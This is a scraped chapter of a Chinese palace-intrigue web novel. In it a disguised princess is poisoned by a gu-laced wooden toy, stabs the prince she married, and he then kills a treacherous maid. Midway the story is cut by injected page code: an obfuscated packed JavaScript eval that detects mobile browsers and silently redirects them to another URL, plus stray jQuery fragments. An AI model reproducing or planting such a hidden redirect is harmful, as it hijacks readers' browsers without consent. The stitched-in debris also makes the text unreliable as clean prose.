“……什么?”


    陆云殊如遭雷殛,握着轮椅把手的手指骤然收紧,指节攥得发白。


    凌青死了。在她的新婚之夜。


    “是昭王?”陆云殊强掩惊慌神色,脑中转得飞快,“还是贞贵妃,亦或是……皇上?”


    凌青身为北疆都司,爪牙遍布,与昭王庚荧交好,是人尽皆知的事情,若昭王只因他打了败仗便下令毒杀,难免太过愚蠢,可若是贞贵妃不忍儿子完美功绩横生枝节下令杀死,似乎也说得过去,再或是皇上为保皇家颜面,杀一儆百也未可知。


    一切结果都指向一处——凌青一死,凌家必当作鸟兽散,甚至,与真正的凌蕙心通信也是极有可能的。陆云殊所依仗的凌家女身份,此刻岌岌可危了。


    届时,她的身份必将暴露,落得个死无全尸的下场!


    事已至此,她绝不能再次以身犯险。


    庚珩一副似笑非笑模样,冷眼瞧着眉头紧蹙的陆云殊。


    那目光太过灼''热,带着一丝试探。


    陆云殊心下了然,立时红了眼眶,颤''抖着双手,勾住男人的袍袖,哽咽着哭腔,声音凄然:“王爷……我父亲怎会……到底是谁害了他?”


    女孩长袍曳地,拂在雪上,泪珠从冻得绯红的脸颊上滚落,好一副可怜模样。庚珩攥着包了参片的丝帕,似是在思考她这幅模样真假几何。


    “怎么死的不重要,”他启唇,伸开胳臂,将袖子卡在轮椅缝中,示意陆云殊抓住,“重要的是是谁杀的,为何至今仍未报丧请罪。”


    “往后,你的依仗,只有靖王府了。”


    园中奇香阵阵,传来阵阵香风。御驾离假山越来越近,皇帝被众人簇拥着走向二人。


    “你二人为何在此许久未动,想是这假山后面藏了宝贝不成?”


    皇帝声音含笑,立在陆云殊身后。


    陆云殊脊背一僵,飞速给庚珩递了个眼神,见庚珩并不回应,心思更乱。忽地,她看见庚珩绞在轮轴缝隙里的袖子,渐渐明白他的用意。


    “嘶——”


    她捏住布料一角,轻轻撕开些许,而后慌忙起身下拜。


    “启禀父皇,方才儿臣不察间使王爷袍袖绞进车轮中,本想在此帮王爷快些修整好,不料儿臣笨手笨脚,弄了许久也未解开,反倒撕破王爷衣裳,惊扰了圣驾,还望父皇责罚!”


    陆云殊双膝跪地,手中攥着一小块布料,说完,又转身抓住那卡死的袖口,袖子纹丝未动,只看得见陆云殊沾着雪水的僵冷手指。


    “咳……”庚珩轻咳一声,声音如刀割般沙哑,“儿臣无能,这轮椅有时不甚灵光,蕙心也是无心之失,还望父皇切莫怪罪。”庚珩垂头,露出颈后苍白凸起的椎骨。


    皇帝的目光在二人之间来回扫视,眉头几不可察地蹙了一下。陆云殊衣裙濡湿,神情凄惶,庚珩咳喘不已,憔悴难当。二人具是一副病弱模样,周身充斥着窘迫难堪。他动了动嘴唇,带着些不耐烦。


    “既是无心之失又何谈责罚?你二人身子不适,现在天色已晚,还是早些休息为好。”他抬手示意,内监领命上前,托出一方玲珑木盒。


    “这是三十年前先皇所赐的鸱鲽玄武云纹佩,朕一直亲自供在佛前,祈求阖宫平安的,如今朕把它赐给你,望你能早日摆脱病痛,莫再受苦楚。”


    皇帝按下急欲起身的庚珩,开了盒子将玉佩系在他腰间,转身道:“园子游赏已毕,天色渐晚,诸位也都将礼物交给府中管事,各自归家团圆罢。”


    说罢便回身,由内监搀扶着率先向来路走去。


    皇帝一走,气氛变得微妙起来。


    庚荧冷眼看着面色苍白的庚珩,还有依旧俯身撕扯衣料的陆云殊,冷哼一声。自腰间抽出一把小巧匕首,提起绞在轮中的袖子便一刀两断。而后扬手一抛,匕首应声落地,稳稳刺进假山石缝中。


    如此迅雷不及掩耳之势,着实令在场众人大吃一惊。


    “弟妹何苦生拉硬拽撕撕扯扯,一刀两断岂不痛快?”


    庚荧一句话说得丈二摸不着头脑,而后转身离去,留下众人依势呼童唤婢,将随身携带的礼品抬至正厅,也告辞而去,假山石后,独留二人面面相觑。


    “王爷方才所说依仗,是为何意?”陆云殊起身拔''出匕首,将车轮中碎布尽数挑出,向着前厅推去。


    凌青已死,监狱却不报丧,连畏罪自尽的由头都拿不出来。由此可见,这条人命,一定还背负着什么更加重大的秘密。


    “凌青一死,作为主官的昭王必然深受牵连,若人不是他杀的,王妃尚有一息存活可能,若是他杀的,那么下一个要灭口的人,就是你。”


    庚澈言语中冷静疏离,腰间玉佩发出叮当脆响。


    “那么,我要查出谁是真凶?”陆云殊将庚珩推入正厅,接过裴山递来的软布净了手,开始翻看诸位王公大臣们的乔迁礼。


    “不,”庚珩脱下旧袍,换上一身家常装束,“王妃要学会示弱。”


    他信手端起茶水,放到陆云殊唇边,大有当日在药池里的揶揄意味。


    “现如今并无他人知晓凌青死讯,你要做的就是装傻充楞,不问世事,一味在家整理家事,相夫教子。”


    陆云殊偏过头,嫌弃地瞟了他一眼,“教什么子,门口大黄下的小狗崽子么?”


    裴山闻言,在二人身后吃吃乱笑。


    庚珩兀自饮下茶水,拿起桌上一座小巧别致的木鸠车。裴山见了,欢喜得紧,连声赞叹道:“小奴可是多年没见过这玩意儿了,小时候还常玩呢。听闻北疆瓴州皂潭镇做木鸠车最好,比别处更加精巧,这木鸠肚子里啊,有一竹板,风一吹就能发出鸟叫,甚是神奇呢!”


    说着,便自庚珩手中接过那木鸠车,从木鸠腹下找到一个关窍,呼呼吹了两口气,那车便啾啾响了起来。


    “能想到以此物做贺礼可真是有心了,王妃说是不是?”


    裴山将木鸠车双手捧给陆云殊,转身去拿礼册。


    陆云殊见了木鸠车立时眉开眼笑,俨然一副稚气未脱模样。


    “真是有心了!我幼时爱逛庙会,见了木鸠车便走不动道,常缠着爹爹买,可爹爹总不应允,着实让我心心念念好多年啊!”


    她欢喜接过,指尖抚过温润木纹,拨弄木鸠头上染了浅绯色的柔软鹅翎。


    这车似是柏木混了降真香做的,油润柔滑,带着一丝幽香,陆云殊不禁凑近了鼻尖去闻,果真甜香扑鼻,余韵悠长。


    “王爷快来闻闻,这木鸠车……”


    一语未毕,陆云殊心头一坠!周身瞬间疼痛难忍,如遭蛇虫啃咬。指尖缠绕多日的麻痹感此时在四肢迸发,一路穷追猛打前仆后继,一息间直冲颅顶!


    “呃……”


    她痛呼一声,五指骤然脱力。


    精巧的木鸠车应声落地,摔在地上碎作数瓣。碎裂的木片间,隐约可见几片竹板,被染成浓烈艳丽颜色,发出阵阵异香。


    “王妃!”


    “凌蕙心!”


    裴山惊呼着蹲下''身子,与庚珩一起扶起浑身发软痉挛着的陆云殊。


    陆云殊却已听不清了,眼前视野开始扭曲,庚珩与裴山的样貌如同鬼魅,吓得她肝胆俱裂,想要逃走。可心中还有一股更深切的、近乎本能的冲动,正在啃咬她仅存的清明。


    杀了庚珩!


    她眼神涣散,瞳孔放大失焦,嘴唇哆哆嗦嗦。


    “走……快走……”


    她强忍杀意,启唇催促,可是来不及了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902271|192261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    身体比她的心更先行动,她挣开二人的双手,抓起桌上的匕首,朝着眼前的高大身影,直直刺了下去!


    “王爷——”


    裴山大叫,扑上去想要挡住。


    噗嗤!


    终究是晚了一步!


    只听一声利刃入肉的闷响,鲜血便喷涌而出,染红了庚珩月白长袍,昭王那把匕首,已然没入胸膛一寸有余。


    庚珩闷哼一声,脸色陡然变得煞白。他难以置信地低头,看向昏聩狂乱的陆云殊。她眼神空洞,四肢发冷,仍握着匕首想往更深处刺去。


    庚珩一把握住陆云殊的手,生生把那匕首从胸口拔了出来!利刃划过肌骨的痛让他双手止不住颤抖。


    他钳制住陆云殊双手,瞥见她手中握着的昭王的匕首,心内敌意渐起。


    莫非……此女细心关切,思父恸哭,都是为了引昭王前来,再以这把匕首结果了他?


    念头未落,庚珩便嗅得一股异香,那木鸠车里艳丽木片上的香味,正如活物般探进他的口鼻。


    庚珩心内轰然剧震,那股阴寒至极的剧痛,自骨髓中怦然炸开,旧日的寒毒,正以千百倍的力道卷土重来!


    “呃啊——”


    他再也支撑不住,重重跌倒在地,只靠一只手死死抓住桌角,才不至于彻底瘫软。他回头看向双腿,那腿已然如同往日般麻痹僵死,比往日更甚。


    他痛得几乎没有力气呼吸,额角青筋暴起,冷汗淋漓,眼前阵阵发黑。


    再看对面的陆云殊,失了庚珩的支撑,她已然再无力气,匕首抛在脚边,两手软软垂着,只有进气,没能出气了。此时她近乎昏厥,牙关紧咬,面色青白,眼瞳赤红,若不是两只手依旧痉挛颤抖,那真是与死人无异。


    这是中蛊了,和他一样的寒髓蛊!


    庚珩强忍剧痛,挣扎着坐在椅子上。


    “裴……山……”庚珩自牙缝中挤出声音,“从密道……去找陈……陈太医……”


    话音未落,门外突然传来一阵急促的脚步声。门外值岗的小厮捧着一个小圆瓷盒,还未进门便高喊道:“启禀王爷,昭王府中送来乔迁贺礼,望王爷务必亲启!”


    小厮喊完,定睛一看屋中景象,却不知如何是好。只得递与裴山,下拜告退。


    庚珩猛地抬头,与裴山交换了一个眼神。裴山会意,将昏迷的陆云殊安置在软榻上,迅速紧闭房门,将小盒呈给庚珩。


    那瓷盒不过鹅卵大小,上面还用脂膏糊了封条,写了‘九弟亲启’四字。


    庚珩扯了扯嘴角,翻手打开盒盖。


    啪!


    瓷盒碎裂,那雪白瓷片间,赫然是几条干枯扭曲的虫尸!


    原来庚荧什么都知道,知道他蛊毒渐消,知道他已能行走,所以才以如此毒计,叫他重新残废。


    “这这这……这是王妃自王爷胸口挑出来的,小奴亲自埋在后院里并没人知晓的,怎会到了昭王手里?”


    裴山惊叫出声,然后立时跪下将瓷片虫尸搓到一起。


    “不必忙活……”


    庚珩拼命找回一丝神智,气息衰微,“把桂香给本王叫来,就说是……除夕佳节,阖府领赏。”


    浅过了半刻功夫,裴山便领着桂香进了正厅。


    桂香一见屋中血流满地,瓷片木片横飞的景象,知是事情败露,拔腿就跑。


    忽见剑光一闪,庚珩不知何时已绕至兰锜边拔出长剑,剑花轻挽,桂香还未呼出口来,便被利刃割破喉咙,一击毙命!


    这一剑,几乎用尽庚珩全部力气,他以剑拄地,堪堪站稳,便挥剑斩下桂香残破的双手。


    “把这两只手,送到它该到的地方去。”


    而后,眼前一黑便栽倒在地,再不省人事。